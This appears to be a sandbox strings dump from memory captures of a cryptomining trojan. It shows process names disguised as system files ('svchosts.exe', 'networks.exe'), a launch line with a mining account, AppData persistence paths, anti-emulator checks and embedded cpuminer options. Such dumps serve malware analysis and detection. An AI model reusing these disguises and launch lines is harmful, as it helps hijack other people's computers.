svchosts.exe_2836_rwx_022E0000_00034000:

Interface not supported
External exception %x
Variant method calls not supported
Invalid variant operation
Invalid floating point operation
Invalid pointer operation
/* Dr Brian Gladman (gladman@seven77.demon.co.uk) 14th January 1999 */
Portable Network Graphics
?.jp_
"C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\svchosts.exe" -user gankmonk@mail.ru -bcn 1 2
EnigmaDevelopers\license.dat
application.exe

svchosts.exe_2836_rwx_02320000_00008000:

wntdll.dll
wkernel32.dll
vkernelbase.dll
Gwuser32.dll
twgdi32.dll
wlpk.dll
wusp10.dll
\wmsvcrt.dll
vadvapi32.dll
wsechost.dll
ywrpcrt4.dll
woleaut32.dll
vole32.dll
'vshell32.dll
$wshlwapi.dll
3uversion.dll
kqt5core.dll
vws2_32.dll
wnsi.dll
mmsvcp110.dll
Glmsvcr110.dll
kqt5network.dll
sudnsapi.dll
ucrypt32.dll
umsasn1.dll
<tqt5websockets.dll
-ncudart32_60.dll
oplib.dll
60.dll
wimm32.dll
0.dll
gwmsctf.dll
hcomctl32.dll
qshfolder.dll
uprofapi.dll
usspicli.dll
qt5websockets.dl
qt5websockets.dl@
msvcp110.dll
msvcr110.dll8
kernel32.dll
plib.dll
plib.dll0
user32.dll
GetKeyboardType
advapi32.dll
RegOpenKeyExA
RegCloseKey
emulatorsdetect.dll
2'2U2^2j2q2
KWindows
Emulators usually hooks all Windows API functions (due to a lot of APIs),

svchosts.exe_2836_rwx_0233C000_00014000:

kernel32.dllL
kernel32.dll
qt5core.dll
6.nLZ2
0Z.ntZ2
.nx[2
5(555;5]5
9 9;9@9[9`9{9
7!7/777]7
:#:):0:<:]:
?!?/?7?]?
(0/0@0\0
1&131:1|1
> >$>(>,>0>4>8>
5%6u6
8%8U8[8
3%3-393`3
2,282\2|2
: :@:\:`:|:

networks.exe_2908:

.text
`.rdata
@.data
.rsrc
@.reloc
B.enigma1
.enigma2
j.Yf;
r%f;M
j.Xf;
j.Zf;
PSSSSSSh
Gt.Ht$
.Jw`8Hw~fHw
kernel32.dll
?#%X.y
GetProcessWindowStation
operator
operand of unlimited repeat could match the empty string
POSIX named classes are supported only within a class
erroffset passed as NULL
POSIX collating elements are not supported
this version of PCRE is compiled without UTF support
PCRE does not support \L, \l, \N{name}, \U, or \u
support for \P, \p, and \X has not been compiled
this version of PCRE is not compiled with Unicode property support
\N is not supported in a class
RegDeleteKeyExW
advapi32.dll
Error text not found (please report)
ilib.dll
WSOCK32.dll
VERSION.dll
WINMM.dll
COMCTL32.dll
MPR.dll
InternetCrackUrlW
HttpQueryInfoW
HttpOpenRequestW
HttpSendRequestW
FtpOpenFileW
FtpGetFileSize
InternetOpenUrlW
WININET.dll
PSAPI.DLL
IPHLPAPI.DLL
USERENV.dll
UxTheme.dll
GetProcessHeap
CreatePipe
GetWindowsDirectoryW
KERNEL32.dll
OpenWindowStationW
SetProcessWindowStation
CloseWindowStation
MapVirtualKeyW
EnumChildWindows
EnumWindows
VkKeyScanW
GetKeyState
GetKeyboardState
SetKeyboardState
GetAsyncKeyState
keybd_event
EnumThreadWindows
ExitWindowsEx
UnregisterHotKey
RegisterHotKey
GetKeyboardLayoutNameW
USER32.dll
SetViewportOrgEx
GDI32.dll
COMDLG32.dll
RegOpenKeyExW
RegCloseKey
RegCreateKeyExW
RegEnumKeyExW
RegDeleteKeyW
ADVAPI32.dll
ShellExecuteW
SHFileOperationW
ShellExecuteExW
SHELL32.dll
ole32.dll
OLEAUT32.dll
GetCPInfo
zcÁ
n..GGHHH
n...GGHHH
n ....HGHHHH
n  ....G.HHH
~~~~{~{{{{
n!! ....HGHHHH
n!!  .....HHHHHH
!!!  ....GGHHH
!!"".....HHHHnv
"""...-.nv
x.Zgu
_C.PV
GQ.ww
Px%4X
.WqmR"
9z.jg6a
V{fDKre.KNJ2
!X.sN
6.oQ_
'%cSG
.M E.nSH
\%Xjg
u4#:.pZ
6A:.jv
.iD%5
g.DU}m
/^ .vt
Z".Yild
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" language="*" processorArchitecture="*" publicKeyToken="6595b64144ccf1df"/>
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
;$;*;0;6;<;|;
=#=(=-=2=7===
3.44484<4@4
3&323^3|3
9 9$9(9,9?9
?#?'? ?/?3?7?;???
4"4&4*4.424
7)868=8=:
= =$=(=,=0=4=8=
0 0$0(0,00040
3"3(313]3
1!1%1)1-1115191=1
< <*<4<{<
<$=4=8=<=
3 3(30383@3
.idata
.edata
P.reloc
P.rsrc
2%uL2
`dE.UT{m@:
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
oleaut32.dll
EVariantBadIndexError
!"#$%&*;<=>@[]^_`{|}
Uh0%S
ZwOpenKey
ZwEnumerateValueKey
ZwQueryKey
ZwQueryValueKey
ZwCreateKey
ZwEnumerateKey
ZwSetValueKey
ZwDeleteKey
ZwDeleteValueKey
ZwFlushKey
ZwLoadKey
ZwLoadKey2
ZwNotifyChangeKey
ZwQueryMultipleValueKey
ZwReplaceKey
ZwRestoreKey
ZwSaveKey
ZwSetInformationKey
ZwUnloadKey
ZwOpenKeyEx
ntdll.dll
ZwQuerySection, Unsupported class %d
KeySetValue unsupported value type
ZwQueryValueKey, unsupported class %d
ZwQueryKey, unsupported class %d
ZwQueryObject with unsupported class
WARNING ZwReadFileInformation with unsupported class
ZwSetInformationFile with unsupported class
sxs.dll
THookWindowsAPI
Cannot find function %s in library %s
Cannot find function ordinal %d in library %s
.section
user32.dll
GetKeyboardType
RegOpenKeyExA
RegOpenKeyA
GetWindowsDirectoryA
RtlFormatCurrentUserKeyPath
SHFolder.dll
shlwapi.dll
loaderx86.dll
KWindows
TntWindows
UrlMon
virtualboximportunit
2 2$2(2,2|2
6 6$6(6<6
8#8'8 8/83878;8?8:9`9
9"9&9*9.9
4%4U4
@ÞDaD
/AutoIt3ExecuteScript
/AutoIt3ExecuteLine
CMDLINE
CMDLINERAW
>>>AUTOIT NO CMDEXECUTE<<<
FTPSETPROXY
GUICTRLRECVMSG
GUICTRLSENDMSG
GUIGETMSG
GUIREGISTERMSG
HOTKEYSET
HTTPSETPROXY
HTTPSETUSERAGENT
ISKEYWORD
MAPKEYS
MSGBOX
REGENUMKEY
SHELLEXECUTE
SHELLEXECUTEWAIT
TCPACCEPT
TCPCLOSESOCKET
TCPCONNECT
TCPLISTEN
TCPNAMETOIP
TCPRECV
TCPSEND
TCPSHUTDOWN
TCPSTARTUP
TRAYGETMSG
UDPBIND
UDPCLOSESOCKET
UDPOPEN
UDPRECV
UDPSEND
UDPSHUTDOWN
UDPSTARTUP
SendKeyDownDelay
SendKeyDelay
TCPTimeout
mscoree.dll
combase.dll
- floating point support not loaded
- CRT not initialized
- Attempt to initialize the CRT more than once.
USER32.DLL
789:;<=>?
APPSKEY
WINDOWSDIR
AUTOITEXE
HOTKEYPRESSED
%s (%d) : ==> %s.:
Line %d:
Line %d (File "%s"):
%s (%d) : ==> %s:
AutoIt script files (*.au3, *.a3x)
*.au3;*.a3x
All files (*.*)
KEYS
\\?\UNC\
04090000
%u.%u.%u.%u
0.0.0.0
Mddddd
"%s" (%d) : ==> %s:
\??\%s
GUI_RUNDEFMSG
AUTOITCALLVARIABLE%d
255.255.255.255
Keyword
AUTOIT.ERROR
Null Object assignment in FOR..IN loop
Incorrect Object type in FOR..IN loop
3, 3, 14, 2
HKEY_LOCAL_MACHINE
HKEY_CLASSES_ROOT
HKEY_CURRENT_CONFIG
HKEY_CURRENT_USER
HKEY_USERS
%d/d/d
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\networks.exe
AutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention.
Missing operator in expression."Unbalanced brackets in expression.
Error parsing function call.0Incorrect number of parameters in function call.'"ReDim" used without an array variable.>Illegal text at the end of statement (one statement per line).1"If" statement has no matching "EndIf" statement.1"Else" statement with no matching "If" statement.2"EndIf" statement with no matching "If" statement.7Too many "Else" statements for matching "If" statement.3"While" statement has no matching "Wend" statement.4"Wend" statement with no matching "While" statement.%Variable used without being declared.XArray variable has incorrect number of subscripts or subscript dimension range exceeded.#Variable subscript badly formatted.*Subscript used on non-accessible variable.&Too many subscripts used for an array.0Missing subscript dimensions in "Dim" statement.NNo variable given for "Dim", "Local", "Global", "Struct" or "Const" statement.
0Expected a "=" operator in assignment statement.*Invalid keyword at the start of this line.
Invalid element in a DllStruct.*Unknown option or bad parameter specified.&Unable to load the internet libraries./"Struct" statement has no matching "EndStruct".HUnable to open file, the maximum number of open files has been exceeded.K"ContinueLoop" statement with no matching "While", "Do" or "For" statement.
Invalid file filter given.*Expected a variable in user function call.1"Do" statement has no matching "Until" statement.2"Until" statement with no matching "Do" statement.#"For" statement is badly formatted.2"Next" statement with no matching "For" statement.N"ExitLoop/ContinueLoop" statements only valid from inside a For/Do/While loop.1"For" statement has no matching "Next" statement.@"Case" statement with no matching "Select"or "Switch" statement.:"EndSelect" statement with no matching "Select" statement.ORecursion level has been exceeded - AutoIt will quit to prevent stack overflow.&Cannot make existing variables static.4Cannot make static variables into regular variables.
3This keyword cannot be used after a "Then" keyword.>"Select" statement is missing "EndSelect" or "Case" statement. "If" statements must have a "Then" keyword. Badly formated Struct statement."Cannot assign values to constants..Cannot make existing variables into constants.9Only Object-type variables allowed in a "With" statement.v"long_ptr", "int_ptr" and "short_ptr" DllCall() types have been deprecated. Use "long*", "int*" and "short*" instead.-Object referenced outside a "With" statement.)Nested "With" statements are not allowed."Variable must be of type "Object".1The requested action with this object has failed.8Variable appears more than once in function declaration.2ReDim array can not be initialized in this manner.1An array variable can not be used in this manner.
Can not redeclare a constant.5Can not redeclare a parameter inside a user function.HCan pass constants by reference only to parameters with "Const" keyword.*Can not initialize a variable with itself.$Incorrect way to use this parameter.:"EndSwitch" statement with no matching "Switch" statement.>"Switch" statement is missing "EndSwitch" or "Case" statement.H"ContinueCase" statement with no matching "Select"or "Switch" statement.
String missing closing quote.!Badly formated variable or macro.*Missing separator character after keyword.
ÞFAULT FOLDER%
Cheking.exe
%SYSTEM FOLDER%
%WINDOWS FOLDER%
%Cookies FOLDER%
hh.exe
write.exe
attrib.exe
chkdsk.exe
compact.exe
find.exe
help.exe
winver.exe
regsvr32.exe
replace.exe
dllhost.exe
ntvdm.exe
tcpsvcs.exe
Was not able to create virtual value at ImportCall_ZwSetValueKey
Was not able to create virtual key at ImportCall_ZwSetValueKey
ImportCall_ZwLoadKey
ImportCall_ZwLoadKey2
ImportCall_ZwNotifyChangeKey
ImportCall_ZwQueryMultipleValueKey
ImportCall_ZwReplaceKey
ImportCall_ZwRestoreKey
ImportCall_ZwSaveKey
ImportCall_ZwSetInformationKey
ImportCall_ZwUnloadKey
evb*.tmp
.manifest
Unsupported call of ZwSetVolumeInformationFile
<>:"/\|?*
7Dispatch methods do not support more than 64 parameters
Cannot assign a %s to a %s%String list does not allow duplicates
Cannot create file "%s". %s
Cannot open file "%s". %s
Invalid property value List capacity out of bounds (%d)
List count out of bounds (%d)
List index out of bounds (%d)
%s.Seek not implemented$Operation not allowed on sorted list
OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object
%s (%s, line %d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
System Error. Code: %d.
Invalid variant operation%Invalid variant operation (%s%.8x)
%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
Operation not supported
External exception %x
Interface not supported
Invalid pointer operation
Invalid class typecast0Access violation at address %p. %s of address %p
Privileged instruction(Exception %s in module %s at %p.
Application Error1Format '%s' invalid or incompatible with argument
No argument for format '%s'"Variant method calls not supported
I/O error %d
Integer overflow Invalid floating point operation

networks.exe_2908_rwx_0051C000_00001000:

ÞFAULT FOLDER%
Cheking.exe

networks.exe_2908_rwx_0054F000_00005000:

ntdll.dll
.section
kernel32.dll
user32.dll
GetKeyboardType
advapi32.dll
RegOpenKeyExA
RegCloseKey
oleaut32.dll
RegOpenKeyA
GetWindowsDirectoryW
GetWindowsDirectoryA
GetCPInfo

cheking.exe_1968:

~%Sj O
!"KKK#K$K%KK&K'()KKKK*KKKKKKKK KKKKKKKKKKKK,KK-.KKKKKKKKKKK/K0KKKKKKKKKKKKKK12KK345KK6789:K;KKKKKK<=KK>?@KKAKKKKKBCDKKKKKEKFKKKKKGKKHFFFIKKKJ
>%ufj
t.UVW
whWj%Sj
9.uBh
%UUUU
%UUUU3
option requires an argument -- %c
option requires an argument -- %s
unknown option -- %c
unknown option -- %s
\ux
\ux\ux
`%s near '%s'
%s near end of file
unable to decode byte 0x%x
control character 0x%x
invalid Unicode '\uX\uX'
invalid Unicode '\uX'
duplicate object key
unable to open %s: %s
0123456789;
-o, --url=URL URL of mining server
-O, --userpass=U:P username:password pair for mining server
-p, --pass=PASSWORD password for mining server
--cert=FILE certificate for mining server using SSL
-x, --proxy=[PROTOCOL://]HOST[:PORT] connect through a proxy
--no-longpoll disable long polling support
--no-getwork disable getwork support
--no-gbt disable getblocktemplate support
--no-stratum disable X-Stratum support
--no-extranonce disable Stratum extranonce support
--no-redirect ignore requests to change the URL of the mining server
-b, --api-bind IP/Port for the miner API (default: 127.0.0.1:4048)
A127.0.0.1
seturl
CPU=%d;KHS=%.2f|
NAME=%s;VER=%s;API=%s;ALGO=%s;CPUS=%d;KHS=%.2f;SOLV=%d;ACC=%d;REJ=%d;ACCMN=%.3f;DIFF=%.6f;TEMP=%.1f;FAN=%d;FREQ=%d;UPTIME=%.0f;TS=%u|
%c%c==
%c%c%c=
%c%c%c%c
clientkey: %s
%s258EAFA5-E914-47DA-95CA-C5AB0DC85B11
HTTP/1.1 101 Switching Protocol
Upgrade: WebSocket
Sec-WebSocket-Accept: %s
Sec-WebSocket-Protocol: text
0.0.0.0
API not running (no valid IPs specified)%s
API initialisation failed (%s)%s
API initialisation 2 failed (%s)%s
API bind to port %d failed - trying again in 20sec
API bind to port %d failed (%s)%s
API initialisation 3 failed (%s)%s
API failed (%s)%s
API: connection from %s - %s
Sec-WebSocket-Key
API: exec command %s(%s)
%s:%s:%s
tX4Fr.rh.46Aw-wl-6
.eK9K\9.
DEBUG (little endian): %s
Hash: %sx0
Target: %sx0
evo hash order %s (x)
t44Fr.rh.66Aw-wl-
..eK9K\9
.rh.44Fr-wl-66Aw
O9K\9..eKW
trh.44Fr.wl-66Aw-
K\9..eK9
h.44Fr.rl-66Aw-w
O\9..eK9K=W
tXXFr.rh.44Aw-wl-66
.44Fr.rh-66Aw-wl
9..eK9K\W
r.rh.44Fw-wl-66A
rj<s.yN>
#[.xU
a-C7}
8.lCd
..r.zb)zKK
K.EGG
..rKzb)zKK
%sXAA
.hWBB
\QUSEREX.DLL
function not supported
operation canceled
address_family_not_supported
operation_in_progress
operation_not_supported
protocol_not_supported
operation_would_block
address family not supported
broken pipe
inappropriate io control operation
not supported
operation in progress
operation not permitted
operation not supported
operation would block
protocol not supported
0123456789
?456789:;<=
!"#$%&'()* ,-./0123
.pp@0
aEÐ
 (#EÚ
ÚE<<0
%'%1$=%C%K%O%s%
.%.-.3.7.9.?.W.[.o.y.
C%C'C3C7C9COCWCiC
CURL initialization failed
DEBUG: job_id='%s' extranonce2=%s ntime=x
Stratum difficulty set to %g%s
network hashrate too high, waiting %s...
Binding thread %d to cpu %d (mask %x)
Binding thread %d to cpu mask %x
work retrieval failed, exiting mining thread %d
cert
Benchmark: %s
Mining timeout of %ds reached, exiting...
userpass
%s:%d
CPU #%d: %.2f H/s
CPU #%d: %s kH/s
Total: %s H/s
net diff: %f -> shift %u, bits x
Total: %s kH/s
CURL init failed
POK received: xx
%s%s%s
Long-polling on %s
%s block %d%s
{"method": "getjob", "params": {"id": "%s"}, "id":1}
getmininginfo not supported
%s detected new block%s
%s block %d, %s
JSON decode failed(%d): %s
Starting Stratum on %s
Current block is %d
Connection changed to %s
Switching to getwork, gbt version %d
...terminating workio thread
Unrecognized block version: %u
...retry after %d seconds
%s block %d, diff %.3f
%s %s block %d
%s asks job %d for block %d
built with VC   %d
jansson/%s
pthreads/%d.%d.%d.%d
Unknown algo parameter '%s'
incorrect Nfactor %d
%s:%d: %s
accepted: %lu/%lu (%s), %s H/s %s
accepted: %lu/%lu (%s), %s kH/s %s
reject reason: %s
hXXp://
hXXps://
stratum tcp://
unknown protocol -- '%s'
invalid URL -- '%s'
hXXp://%s
invalid username:password pair -- '%s'
block %u was already solved
{"method": "submit", "params": {"id": "%s", "job_id": "%s", "nonce": "%s", "result": "%s"}, "id":4}
invalid address -- '%s'
{"method": "mining.submit", "params": ["%s", "%s", "%s", "%s", "%s"], "id":4}
{"method": "submitblock", "params": ["%s%s", %s], "id":4}
{"method": "submitblock", "params": ["%s%s"], "id":4}
JSON option %s invalid
{"method": "submit", "params": {"id": "%s", "job_id": "%s", "nonce": "%s", "result": "%s"},"id":4}
%s: unsupported non-option argument -- '%s'
{"method": "getwork", "params": ["%s"], "id":4}
127.0.0.1
{"method": "getblocktemplate", "params": [{"capabilities": ["coinbasetxn", "coinbasevalue", "longpoll", "workid"], "longpollid": "%s"}], "id":0}
Using config %s
CPU Supports AES-NI: %s
%s: no URL supplied
%s:%s
https:
json_rpc_call failed, retry after %d seconds
Binding process to cpu mask %x
{"method": "login", "params": {"login": "%s", "pass": "%s", "agent": "%s"}, "id": 1}
thread %d create failed
DEBUG: authenticated in %d ms
%d miner threads started, using '%s' algorithm.
%ss%s: %s
http%s
Stratum connection failed: %s
mining.notify
Stratum set nonce %s with extranonce2 size=%d
{"id": 1, "method": "mining.subscribe", "params": []}
{"id": 1, "method": "mining.subscribe", "params": ["cpuminer-multi/1.3", "%s"]}
{"id": 1, "method": "mining.subscribe", "params": ["cpuminer-multi/1.3"]}
JSON-RPC call failed: %s
Stratum session id: %s
{"id": 2, "method": "mining.authorize", "params": ["%s", "%s"]}
{"id": 3, "method": "mining.extranonce.subscribe", "params": []}
Auth id: %s
JSON returned status "%s"
rpc2_login_decode
%s: fail
json_rpc2.0 error: %s
[%d-d-d d:d:d]%s %s%s
%s\cpuminer\cpuminer-conf.json
%s%scpuminer-conf.json
%.2f %cH/s
%.2f H/s%c
stratum tcp://%s:%d
Ignoring request to reconnect to %s
Server requested reconnection to %s
MSVC %d
sharing CPU stats with freq %s
{"id":%d,"result":"pong","error":null}
HTTP request failed: %s
MESSAGE FROM SERVER: %s
mining.ping
http_proxy
mining.set_difficulty
mining.set_extranonce
client.reconnect
client.get_algo
client.get_stats
Remote config read failed: %s
client.get_version
client.show_message
unknown stratum method %s!
hex2bin failed on '%s'
xxxx
%sxxxx
JSON key '%s' not found
JSON key '%s' is not a string
%s %s
DEBUG: %s
Hash: %s
Target: %s
libcurl/7.38.0
zlib/%s
https
7.38.0
Curl_poll(%d ds, %d ms)
Pipe broke: handle 0x%p, url = %s
In state %d with no easy_conn, bail out!
Operation timed out after %ld milliseconds with %lld out of %lld bytes received
Operation timed out after %ld milliseconds with %lld bytes received
Internal error clearing splay node = %d
Internal error removing splay node = %d
rcmd
CURLOPT_SSL_VERIFYHOST no longer supports 1 as value!
Found bundle for host %s: %p
Server doesn't support pipelining
Connected to %s (%s) port %ld (#%ld)
IDN support not present, can't parse Unicode domains
Protocol "%s" not supported or disabled in libcurl
[^:]:%[^
:]://%[^
<url> malformed
SMTP.
smtp
Rebuilt URL to: %s
Please URL encode %% as %%, see RFC 6874.
[%*45[0123456789abcdefABCDEF:.]%c
IPv6 numerical address used in URL without brackets
;type=%c
%s://%s%s%s:%hu%s%s%s
Port number out of range
Couldn't find host %s in the _netrc file; using defaults
PTF@example.com
Couldn't resolve host '%s'
Couldn't resolve proxy '%s'
%s://%s
Found connection %ld, with requests in the pipe (%zu)
Re-using existing connection! (#%ld) with host %s
User-Agent: %s
Connection #%ld to host %s left intact
Failed to set SO_KEEPALIVE on fd %d
Failed to set SIO_KEEPALIVE_VALS on fd %d: %d
Couldn't bind to interface '%s'
Local Interface %s is ip %s using address family %i
Name '%s' family %i resolved to '%s' family %i
Couldn't bind to '%s'
getsockname() failed with errno %d: %s
Local port: %hu
Bind to local port %hu failed, trying next
bind failed with errno %d: %s
getpeername() failed with errno %d: %s
ssrem inet_ntop() failed with errno %d: %s
ssloc inet_ntop() failed with errno %d: %s
connect to %s port %ld failed: %s
Failed to connect to %s port %ld: %s
Could not set TCP_NODELAY: %s
TCP_NODELAY set
sa_addr inet_ntop() failed with errno %d: %s
Trying %s...
Immediate connect fail for %s: %s
Hostname was %sfound in DNS cache
%5[^:]:%d:%5s
Resolve %s found illegal!
Added %s:%d:%s to DNS cache
Could not resolve %s: %s
init_resolve_thread() failed for %s; %s
getaddrinfo() failed for %s:%d; %s
Send failure: %s
Recv failure: %s
Write callback asked for PAUSE when not supported!
[%s %s %s]
23[^;
=]=I99[^;
httponly
skipped cookie with bad tailmatch domain: %s
#HttpOnly_
%s cookie %s="%s" for domain %s, path %s, expire %lld
# Netscape HTTP Cookie File
# hXXp://curl.haxx.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
# Fatal libcurl error
WARNING: failed to save cookies in %s
security.dll
secur32.dll
libcurl is now using a weak random seed!
unable to use client certificate (no key found or wrong pass phrase?)
file type ENG for certificate not implemented
file type P12 for certificate not supported
not supported file type '%s' for certificate
unable to set private key file: '%s' type %s
file type ENG for private key not supported
file type P12 for private key not supported
not supported file type for private key
Private key does not match the certificate public key
SSL Engine not supported
SSL read: %s, errno %d
select/poll on SSL socket, errno: %d
d-d-d d:d:d %s
subjectAltName: %s matched
subjectAltName does not match %s
Client key
SSL: no alternative certificate subject name matches target host name '%s'
..\..\curl\lib\vtls\openssl.c
SSL: illegal cert name field
SSL: unable to obtain common name from peer certificate
Client CERT
SSL: certificate subject name '%s' does not match target host name '%s'
common name: %s (matched)
Request CERT
CERT
Server key exchange
Client key exchange
CERT verify
SSLv%c, %s%s (%d):
OpenSSL was built without SSLv2 support
SSL: couldn't create a context: %s
Unsupported SSL protocol version
ALL!EXPORT!EXPORT40!EXPORT56!aNULL!LOW!RC4
failed setting cipher list: %s
error setting certificate verify locations:
CAfile: %s
CApath: %s
error setting certificate verify locations, continuing anyway:
successfully set certificate verify locations:
error loading CRL file: %s
CRLfile: %s
SSL: SSL_set_session failed: %s
SSL: SSL_set_fd failed: %s
SSL certificate problem: %s
SSL certificate problem, verify that the CA cert is OK.
Unknown SSL protocol error in connection to %s:%ld
SSL connection using %s / %s
%s(%s)
x:
%s: %s
%s: %s
Signature: %s
Cert
--- Certificate chain
- Subject: %s
Issuer: %s
x%c
Serial Number: %s
Signature Algorithm: %s
Start date: %s
Expire date: %s
Public Key Algorithm: %s
Public Key Algorithm
Unable to load public key
RSA Public Key (%d bits)
RSA Public Key
priv_key
pub_key
SSL: couldn't get peer certificate!
Server certificate:
subject: %s
start date: %s
expire date: %s
issuer: %s
SSL: Unable to open issuer cert (%s)
SSL: Unable to read issuer cert (%s)
SSL: Certificate issuer check failed (%s)
SSL certificate issuer check ok (%s)
SSL certificate verify result: %s (%ld)
SSL certificate verify result: %s (%ld), continuing anyway.
SSL certificate verify ok.
SSL_write() returned SYSCALL, errno = %d
SSL_write() error: %s
SSL_write() return error %d
%s/%lx.%lx.%lx%s
--:--:--
%3lld %s %3lld %s %3lld %s %s %s %s %s %s %s
Conn: %ld (%p) Receive pipe weight: (%lld/%zu), penalized: %s
Site %s:%d is pipeline blacklisted
Server %s is blacklisted
Server %s is not blacklisted
operation aborted by callback
Read callback asked for PAUSE when not supported!
seek callback returned error %d
the ioctl callback returned %d
ioctl callback returned error %d
Rewinding stream by : %zd bytes on url %s (zero-length body)
Excess found in a non pipelined read: excess = %zd url = %s (zero-length body)
HTTP server doesn't seem to support byte ranges. Cannot resume.
Simulate a HTTP 304 response!
%s in chunked-encoding
Rewinding stream by : %zu bytes on url %s (size = %lld, maxdownload = %lld, bytecount = %lld, nread = %zd)
Excess found in a non pipelined read: excess = %zu, size = %lld, maxdownload = %lld, bytecount = %lld
Unrecognized content encoding type. libcurl understands `identity', `deflate' and `gzip' content encodings.
No URL set!
[^?&/:]://%c
Issue another request to this URL: '%s'
Disables POST, goes with %s
HTTPS
%sAuthorization: Basic %s
The requested URL returned error: %d
%s auth using %s with user '%s'
%s, d %s M d:d:d GMT
If-Modified-Since: %s
If-Unmodified-Since: %s
Last-Modified: %s
Referer: %s
Accept-Encoding: %s
%s, TE
Chunky upload is not supported by HTTP 1.0
Host: %s%s%s
Host: %s%s%s:%hu
PTF://
Range: bytes=%s
Content-Range: bytes %s%lld/%lld
Content-Range: bytes %s/%lld
PTF://%s:%s@%s
%s HTTP/%s
%s%s%s%s%s%s%s%s%s%s%s
%s%s=%s
Internal HTTP POST error!
Content-Type: application/x-www-form-urlencoded
Failed sending HTTP POST request
Failed sending HTTP request
HTTP/
Avoided giant realloc for header (max is %d)!
The requested URL returned error: %s
HTTP error before end of send, stop sending
HTTP/%d.%d =
HTTP =
RTSP/%d.%d =
HTTP 1.0, assume close after body
HTTP/1.0 proxy connection set to keep alive!
HTTP/1.1 proxy connection set close!
HTTP/1.0 connection set to keep alive!
Operation too slow. Less than %ld bytes/sec transferred the last %ld seconds
xxxx
%s:%.*s
%s:%s:x:%s:%s:%s
%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%.*s", cnonce="%s", nc=x, qop=%s, response="%s"
%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%.*s", response="%s"
%s, opaque="%s"
%s, algorithm="%s"
SOCKS4 communication to %s:%d
SOCKS4 connect to %s (locally resolved)
Failed to resolve "%s" for SOCKS4 connect.
SOCKS4%s request granted.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.
User was rejected by the SOCKS5 server (%d %d).
No authentication method was acceptable. (It is quite likely that the SOCKS5 server wanted a username/password, since none was supplied to the server on this connection.)
Failed to resolve "%s" for SOCKS5 connect.
Can't complete SOCKS5 connection to %d.%d.%d.%d:%d. (%d)
Can't complete SOCKS5 connection to %s:%d. (%d)
Can't complete SOCKS5 connection to xx:xx:xx:xx:xx:xx:xx:xx:%d. (%d)
login
password
%%X
Establish HTTP proxy tunnel to %s:%hu
%s:%hu
%s%s%s:%hu
Host: %s
CONNECT %s HTTP/%s
%s%s%s%s
HTTP/1.%d %d
TUNNEL_STATE switched to: %d
Received HTTP code %d from proxy after CONNECT
%sAuthorization: NTLM %s
%d.%d.%d.%d
Unsupported protocol
URL using bad/illegal format or missing URL
A requested feature, protocol or option was not found built-in in this libcurl due to a build-time decision.
FTP: weird server reply
FTP: The server failed to connect to data port
FTP: Accepting server connect has timed out
FTP: The server did not accept the PRET command.
FTP: unknown PASS reply
FTP: unknown PASV reply
FTP: unknown 227 response format
FTP: can't figure out the host in the PASV response
Error in the HTTP2 framing layer
FTP: couldn't set file type
FTP: couldn't retrieve (RETR failed) the specified file
HTTP response code said error
FTP: command PORT failed
FTP: command REST failed
Operation was aborted by an application callback
A libcurl function was given a bad argument
An unknown option was passed in to libcurl
SSL peer certificate or SSH remote key was not OK
Problem with the local SSL certificate
Problem with the SSL CA cert (path? access rights?)
Peer certificate cannot be authenticated with given CA certificates
Unrecognized or bad HTTP Content or Transfer-Encoding
Invalid LDAP URL
Issuer check against peer certificate failed
Login denied
TFTP: File Not Found
TFTP: Access Violation
TFTP: Illegal operation
TFTP: Unknown transfer ID
TFTP: No such user
Caller must register CURLOPT_CONV_ callback options
Error in the SSH layer
Unable to parse FTP file list
Please call curl_multi_perform() soon
CURLSHcode unknown
Protocol option is unsupported
Protocol is unsupported
Socket is unsupported
Operation not supported
Address family not supported
Protocol family not supported
Winsock version not supported
Unknown error %d (%#x)
SEC_E_CERT_EXPIRED
SEC_E_CERT_UNKNOWN
SEC_E_CERT_WRONG_USAGE
SEC_E_KDC_CERT_EXPIRED
SEC_E_KDC_CERT_REVOKED
SEC_E_NO_KERB_KEY
SEC_E_NO_S4U_PROT_SUPPORT
SEC_E_QOP_NOT_SUPPORTED
SEC_E_SMARTCARD_CERT_EXPIRED
SEC_E_SMARTCARD_CERT_REVOKED
SEC_E_STRONG_CRYPTO_NOT_SUPPORTED
SEC_E_UNSUPPORTED_FUNCTION
SEC_E_UNSUPPORTED_PREAUTH
%s (0xXX)
%s - %s
d:d:d
d:d
Error while processing content unencoding: %s
1.2.8
1.2.0.4
%sAuthorization: Negotiate %s
.jpeg
.html
; filename="%s"
%s; boundary=%s
Content-Type: multipart/mixed; boundary=%s
Content-Type: %s
couldn't open file "%s"
--%s--
------------------------xx
SSPI error: %s failed: %s
%s/%s
User was rejected by the SOCKS5 server (%u %u).
Invalid SSPI authentication response type (%u %u).
SOCKS5 server authencticated user %s with GSS-API.
SOCKS5 server supports GSS-API %s data protection.
